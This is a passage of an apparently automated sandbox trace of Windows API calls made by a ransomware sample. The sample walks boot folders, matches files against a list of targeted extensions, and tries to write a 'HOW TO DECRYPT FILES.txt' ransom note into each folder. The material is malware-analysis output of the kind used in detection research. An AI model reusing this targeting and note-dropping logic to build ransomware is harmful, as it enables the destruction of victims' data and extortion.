[0125.004] lstrlenA (lpString="*.xls") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.mp4") returned 0 [0125.004] lstrlenA (lpString="*.mp4") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.ppt") returned 0 [0125.004] lstrlenA (lpString="*.ppt") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.pptx") returned 0 [0125.004] lstrlenA (lpString="*.pptx") returned 6 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.doc") returned 0 [0125.004] lstrlenA (lpString="*.doc") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.dot") returned 0 [0125.004] lstrlenA (lpString="*.dot") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.docx") returned 0 [0125.004] lstrlenA (lpString="*.docx") returned 6 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.7z") returned 0 [0125.004] lstrlenA (lpString="*.7z") returned 4 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.tar") returned 0 [0125.004] lstrlenA (lpString="*.tar") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.bz2") returned 0 [0125.004] lstrlenA (lpString="*.bz2") returned 5 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.gz") returned 0 [0125.004] lstrlenA (lpString="*.gz") returned 4 [0125.004] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.mkv") returned 0 [0125.005] lstrlenA (lpString="*.mkv") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.eml") returned 0 [0125.005] lstrlenA (lpString="*.eml") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.msg") returned 0 [0125.005] lstrlenA (lpString="*.msg") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.edb") returned 0 [0125.005] lstrlenA (lpString="*.edb") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.accdb") returned 0 [0125.005] lstrlenA (lpString="*.accdb") returned 7 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.odb") returned 0 [0125.005] lstrlenA (lpString="*.odb") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.java") returned 0 [0125.005] lstrlenA (lpString="*.java") returned 6 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.asm") returned 0 [0125.005] lstrlenA (lpString="*.asm") returned 5 [0125.005] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui", pszSpec="*.pfx") returned 0 [0125.005] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c76512, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7374525, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7374525, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.005] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.006] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.006] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.006] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.006] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\de-DE\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\") returned="C:\\Windows\\Boot\\EFI\\de-DE\\" [0125.006] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\de-DE\\") returned="" [0125.006] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" [0125.006] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\de-de\\how to decrypt files.txt")) returned 0xffffffff [0125.006] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\de-de\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.006] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.006] CloseHandle (hObject=0xffffffff) returned 0 [0125.006] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgr.efi.mui" [0125.006] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\de-DE\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.007] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c76512, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7374525, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7374525, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.008] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.008] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0125.008] lstrcmpA (lpString1=".", lpString2="el-GR") returned -1 [0125.008] lstrcmpA (lpString1="..", lpString2="el-GR") returned -1 [0125.008] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.008] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="el-GR" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR") returned="C:\\Windows\\Boot\\EFI\\el-GR" [0125.008] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.008] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.009] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.009] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.009] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe892cc2f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9050d9f, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7824b2a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.009] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.009] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.009] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.009] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.009] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\*.*") returned="*.*" [0125.009] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\el-GR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\") returned="C:\\Windows\\Boot\\EFI\\el-GR\\" [0125.009] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\") returned="" [0125.009] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" [0125.009] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\el-gr\\how to decrypt files.txt")) returned 0xffffffff [0125.009] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\el-gr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.009] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.010] CloseHandle (hObject=0xffffffff) returned 0 [0125.010] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgfw.efi.mui" [0125.010] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.010] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3355992, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3a539a5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe3a539a5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.010] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.010] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.010] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.010] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.010] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.010] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\el-GR\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\") returned="C:\\Windows\\Boot\\EFI\\el-GR\\" [0125.010] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\el-GR\\") returned="" [0125.010] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" [0125.010] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\el-gr\\how to decrypt files.txt")) returned 0xffffffff [0125.010] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\el-GR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\el-gr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.011] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.011] CloseHandle (hObject=0xffffffff) returned 0 [0125.011] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgr.efi.mui" [0125.011] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\el-GR\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.011] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3355992, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe3a539a5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe3a539a5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.011] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.011] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0125.011] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0125.011] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0125.012] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.012] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="en-US" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US") returned="C:\\Windows\\Boot\\EFI\\en-US" [0125.012] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.015] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.015] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.015] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.015] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.015] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe88946bb, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe915b72a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7851ec74, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.015] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.015] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.015] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.015] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.015] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\en-US\\*.*") returned="*.*" [0125.015] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\") returned="C:\\Windows\\Boot\\EFI\\en-US\\" [0125.015] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\") returned="" [0125.015] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" [0125.015] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0125.015] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.016] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.016] CloseHandle (hObject=0xffffffff) returned 0 [0125.016] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\en-US\\bootmgfw.efi.mui" [0125.016] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\en-US\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.016] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe633d08c, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6d34be3, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6d34be3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.016] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.016] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.016] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.016] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.017] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\en-US\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.017] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\") returned="C:\\Windows\\Boot\\EFI\\en-US\\" [0125.017] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\") returned="" [0125.017] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" [0125.017] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0125.017] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.017] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.017] CloseHandle (hObject=0xffffffff) returned 0 [0125.017] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\en-US\\bootmgr.efi.mui" [0125.017] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\en-US\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.018] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aba1800, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.efi.mui", cAlternateFileName="")) returned 1 [0125.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.018] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.efi.mui") returned -1 [0125.018] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.efi.mui") returned -1 [0125.018] lstrcmpiA (lpString1="", lpString2="memtest.efi.mui") returned -1 [0125.018] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\en-US\\bootmgr.efi.mui") returned="bootmgr.efi.mui" [0125.018] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\") returned="C:\\Windows\\Boot\\EFI\\en-US\\" [0125.018] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\en-US\\") returned="" [0125.018] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" [0125.018] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0125.018] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 